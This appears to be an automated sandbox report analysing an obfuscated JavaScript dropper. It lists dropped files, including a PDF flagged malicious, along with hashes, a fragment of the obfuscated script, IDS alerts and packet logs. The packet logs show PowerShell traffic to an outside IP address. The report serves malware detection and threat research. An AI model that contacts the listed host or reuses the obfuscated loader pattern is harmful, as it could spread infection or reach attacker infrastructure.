SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a4a29f56-ff72-4598-8194-371c54fc2955.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16805), with CRLF line terminators
Entropy (8bit):	4.912160292434544
TrID:
File name:	1732630681161426175.js
File size:	20'328 bytes
MD5:	58240dfc1cf3e3f906e69990d9f1f202
SHA1:	75db89a3f50b21b35d44e8e529050a9cc1961c7e
SHA256:	529e859854aa950610025abc1187ae88eb40d4f9ff2f6df9ff6b1cdb2934ddbe
SHA512:	ab20fbb26852f1f4f163af100f67527e3fd4e41801e88a9f6ce7d879c945a0eacb845a7264bb70441b99ff415cb9ff39d10005383db7215a7dfeca88b87b45af
SSDEEP:	384:PjIEY8wRURPUZO1ilUtMsMONuFnazJznJ8tN5VFcaza7SwYy/09UzhNLXrNIbhWb:sEVYUiZOCsyFnazJznJ8tN5VFcaza7S+
TLSH:	3F924154C845CD369EEC68B4558611EB4EF9134E816BA2ED4C9089CC394CB7DBBCFA32
File Content Preview:	function drnohtm(){vcscx=[1031,3079,5127,4103,2055,3072];var ybrueors=this[paoqcewr+gifuqednt+jpfnirb+fmzqjba+iifmu+qiipw+grdsnv+dshabeyig](this[avarpzy+itsuhkze+hcwukp+jpfnirb+ejinefik+paoqcewr+dshabeyig][igvgx+jpfnirb+iifmu+gifuqednt+dshabeyig+iifmu+ipq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:49:31.713785+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T18:49:34.717375+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:49:30.875861883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:30.880836010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:30.880939960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:30.884577036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:30.889445066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.713624001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.713661909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.713716984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.713751078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.713784933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.713808060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.713821888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.713843107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.713879108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.713887930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.713913918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.713952065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.713958025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.713979959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.714025974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.718861103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.718919992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.718950033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.718980074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.767206907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.777586937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.777628899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.777683973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.849323034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.849344015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.849442005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.849451065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.849462032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.849514961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.849700928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.849720001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.849755049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.849848032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.849857092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.849895000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.850147009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.850158930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.850174904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.850186110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.850203991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.850217104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.850740910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.850752115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.850763083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.850809097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.850820065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.850887060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.851206064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.851226091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.851236105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.851264000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.851340055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.851351023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.851380110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.852128029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.852138996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.852186918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.852200031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.852211952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.852243900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.904858112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.905302048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.905327082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.905397892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.944123030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.944149017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.944159985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.944226027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.975173950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.975187063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.975284100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.975296021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.975297928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.975307941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.975331068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.975347996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.975507975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.975517035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.975550890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.975568056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.975594997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.975632906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.975722075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.975766897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.975778103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.975805044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.976002932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.976022959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.976033926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.976038933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.976072073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.976161957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.976172924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.976205111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.976464987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.976517916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.976527929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.976562977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.976777077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.976808071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.976815939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.976819992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.976855993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.976957083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.976969004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.976979971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.977018118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.977108955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.977121115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.977154016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.977710009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.977722883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.977734089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.977763891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.977776051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.977963924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.978014946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.978025913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.978050947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.978221893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.978239059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.978250027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.978259087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.978262901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.978286982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.978322983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.978360891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.978940010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.978951931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.978967905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.978992939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.979078054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.979090929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.979130983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.992626905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.992639065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.992660999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.992671967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:31.992708921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:31.992708921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.030477047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.030492067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.030579090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.069781065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.069839954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.069875002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.069891930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.069909096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.069962025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.069967985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.100635052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.100646019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.100670099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.100692034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.100711107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.100723028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.100735903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.100785971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.100816965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.100828886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.100861073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.101243019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.101254940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.101264954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.101296902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.101459026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.101479053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.101499081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.101583004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.101622105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.101641893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.101653099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.101686954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.101723909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.101736069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.101785898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.102119923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.102164984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.102175951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.102206945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.102324009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.102334976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.102345943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.102359056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.102361917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.102382898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.102483988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.102530956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.103017092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.103056908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.103069067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.103100061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.103198051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.103209019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.103219986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.103241920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.103270054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.103342056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.103353024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.103389978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.103846073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.103967905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.103979111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.104011059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.104020119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.104032993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.104058981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.104125023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.104135036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.104146004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.104167938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.104182959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.104803085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.104814053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.104825974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.104850054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.104931116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.104943037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.104960918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.104969978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.104999065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.105058908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.105070114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.105113029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.105660915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.105681896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.105694056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.105720043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.105777025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.105827093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:49:32.105859041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.105870008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.105880976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.105891943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 18:49:32.105930090 CET	49704	80	192.168.2.8	193.143.1.205
